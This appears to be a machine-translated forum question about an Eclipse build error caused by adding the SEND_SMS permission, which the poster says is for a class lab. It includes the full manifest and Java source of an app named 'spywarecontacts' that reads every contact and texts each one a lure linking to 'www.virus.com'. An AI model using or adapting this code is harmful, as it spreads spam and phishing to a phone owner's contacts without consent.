编辑更新:所以我已经在另一台机器上第三次安装了eclipse ADT软件包。这次我安装后没有更新。我已经添加了权限并且已经启动了。要使用此安装重建应用程序并希望它工作。如果它工作,当我将我的eclipse更新到版本23.0.0时,似乎出现了问题
这也适用于班级实验室,以防万一有人在想。我实际上并没有试图帮助制作一些间谍软件应用程序。
这刚开始发生在我身上。我已经构建了其他应用程序,添加SEND_SMS权限没问题。它总是没有问题。突然间,当我这样做时,我得到了错误:
“您的项目包含错误,请在运行您的应用程序之前修复它们”
如果我删除SEND_SMS权限,项目加载正常。我不知道是怎么回事。我的表现并不复杂。我试过了:
Android manifest file breaks after adding a permission
没用。我创建了新的Android应用程序,hello world的应用程序,未经许可就启动了它们的工作。将权限添加到SEND_SMS并将其中断。
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.spywarecontacts"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="19" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
爪哇:
package com.example.spywarecontacts;
import java.util.ArrayList;
import android.app.Activity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.os.Bundle;
import android.provider.BaseColumns;
import android.provider.ContactsContract;
import android.telephony.SmsManager;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;
public class MainActivity extends Activity {
Button send;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
send = (Button) findViewById(R.id.button1);
send.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
ContentResolver contentResolver = getContentResolver();
Cursor c = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
while (c.moveToNext())
{
String id = c.getString(c.getColumnIndexOrThrow(BaseColumns._ID));
String hasPhone = c.getString(c.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER));
if (hasPhone.equalsIgnoreCase("1"))
{
Cursor phones = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = "+ id,null, null);
phones.moveToFirst();
String cNumber = phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
Toast.makeText(getApplicationContext(), cNumber, Toast.LENGTH_SHORT).show();
String nameContact = c.getString(c.getColumnIndexOrThrow(ContactsContract.Contacts.DISPLAY_NAME));
sendSMS(cNumber,"Whats up " + nameContact + "! Check out this awesome website www.virus.com");
}
}
finish();
}
private void sendSMS(String num, String Msg) {
try {
// get a SmsManager
SmsManager smsManager = SmsManager.getDefault();
// Message may exceed 160 characters
// need to divide the message into multiples
ArrayList<String> parts = smsManager.divideMessage(Msg);
smsManager.sendMultipartTextMessage(num, null, parts,
null, null);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
}
main.xml中
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context="${relativePackage}.${activityClass}" >
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/hello_world" />
<Button android:layout_height="wrap_content"
android:layout_width="wrap_content"
android:text="Click me"
android:id="@+id/button1"
android:layout_marginTop="23dp"
android:layout_below="@+id/textView1"
android:layout_alignLeft="@+id/textView1"/>
</RelativeLayout>